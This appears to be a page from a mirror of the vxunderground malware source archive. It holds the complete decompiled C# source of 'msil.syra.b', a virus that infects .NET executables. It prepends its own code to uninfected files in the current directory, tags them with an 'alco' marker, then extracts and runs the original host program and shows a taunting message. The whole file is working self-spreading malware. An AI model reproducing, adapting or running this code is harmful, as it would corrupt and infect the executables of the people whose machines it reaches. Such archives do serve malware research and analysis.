mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
139 lines
4.4 KiB
C#
139 lines
4.4 KiB
C#
// Decompiled with JetBrains decompiler
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// Type: msil_syra_by_alcopaul
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// Assembly: syra.b, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
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// MVID: 9CFE773D-27F0-436F-8F51-313FF31C4F0C
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.d-530621cdc88ae9ee0fcdea85f02fdf94885c1884f085b4dc62ccea10a89aa4d9.exe
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using System.IO;
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using System.Reflection;
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using System.Runtime.InteropServices;
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internal class msil_syra_by_alcopaul
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{
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public static void Main(string[] args)
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{
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Module module = Assembly.GetExecutingAssembly().GetModules()[0];
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foreach (string file in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe"))
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{
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try
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{
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AssemblyName.GetAssemblyName(file);
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FileStream fileStream = new FileStream(file, FileMode.OpenOrCreate, FileAccess.Read);
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StreamReader streamReader = new StreamReader((Stream) fileStream);
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int offset = (int) fileStream.Length - 4;
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streamReader.BaseStream.Seek((long) offset, SeekOrigin.Begin);
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string str1 = streamReader.ReadLine();
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streamReader.Close();
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string str2 = "alco";
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if (!(str1 == str2))
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{
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if (!(file == module.FullyQualifiedName))
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{
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try
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{
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msil_syra_by_alcopaul.Infect(file);
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break;
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}
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catch
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{
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}
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}
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}
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}
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catch
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{
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}
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}
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FileStream input = new FileStream(module.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read);
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BinaryReader binaryReader = new BinaryReader((Stream) input);
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int length = (int) input.Length - 5120;
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binaryReader.BaseStream.Seek(5120L, SeekOrigin.Begin);
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byte[] buffer = new byte[(int) checked ((uint) length)];
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int count = length;
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int index = 0;
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int num;
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for (; count > 0; count -= num)
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{
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num = binaryReader.Read(buffer, index, count);
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if (num != 0)
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index += num;
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else
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break;
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}
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binaryReader.Close();
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BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream("_U-.exe", FileMode.OpenOrCreate, FileAccess.Write));
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binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin);
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binaryWriter.Write(buffer);
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binaryWriter.Close();
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msil_syra_by_alcopaul.Win32.ShellExecute(0, (string) null, "_U-.exe", (string) null, Directory.GetCurrentDirectory(), 1);
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do
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{
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try
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{
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File.Delete("_U-.exe");
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}
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catch
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{
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}
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}
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while (File.Exists("_U-.exe"));
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msil_syra_by_alcopaul.Win32.MessageBox(0, "::: now infecting dotnet files only :P :::", "msil.syra.b by alcopaul", 0U);
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}
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public static void Infect(string host)
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{
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BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read));
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binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin);
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byte[] buffer1 = new byte[5120];
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int count = 5120;
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int index1 = 0;
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int num1;
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for (; count > 0; count -= num1)
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{
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num1 = binaryReader1.Read(buffer1, index1, count);
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if (num1 != 0)
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index1 += num1;
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else
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break;
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}
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binaryReader1.Close();
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FileStream input = new FileStream(host, FileMode.OpenOrCreate, FileAccess.Read);
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BinaryReader binaryReader2 = new BinaryReader((Stream) input);
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binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin);
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byte[] buffer2 = new byte[(int) checked ((uint) input.Length)];
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int length = (int) input.Length;
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int index2 = 0;
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int num2;
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for (; length > 0; length -= num2)
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{
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num2 = binaryReader2.Read(buffer2, index2, length);
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if (num2 != 0)
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index2 += num2;
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else
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break;
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}
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binaryReader2.Close();
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BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(host, FileMode.OpenOrCreate, FileAccess.Write));
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binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin);
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binaryWriter.Write(buffer1);
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binaryWriter.Write(buffer2);
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binaryWriter.Write("alco");
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binaryWriter.Close();
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}
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public class Win32
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{
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[DllImport("shell32.dll", CharSet = CharSet.Auto)]
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public static extern int ShellExecute(
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int hWnd,
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string oper,
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string file,
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string param,
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string dir,
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int type);
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[DllImport("user32.dll", CharSet = CharSet.Auto)]
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public static extern int MessageBox(int hWnd, string text, string caption, uint type);
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}
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}
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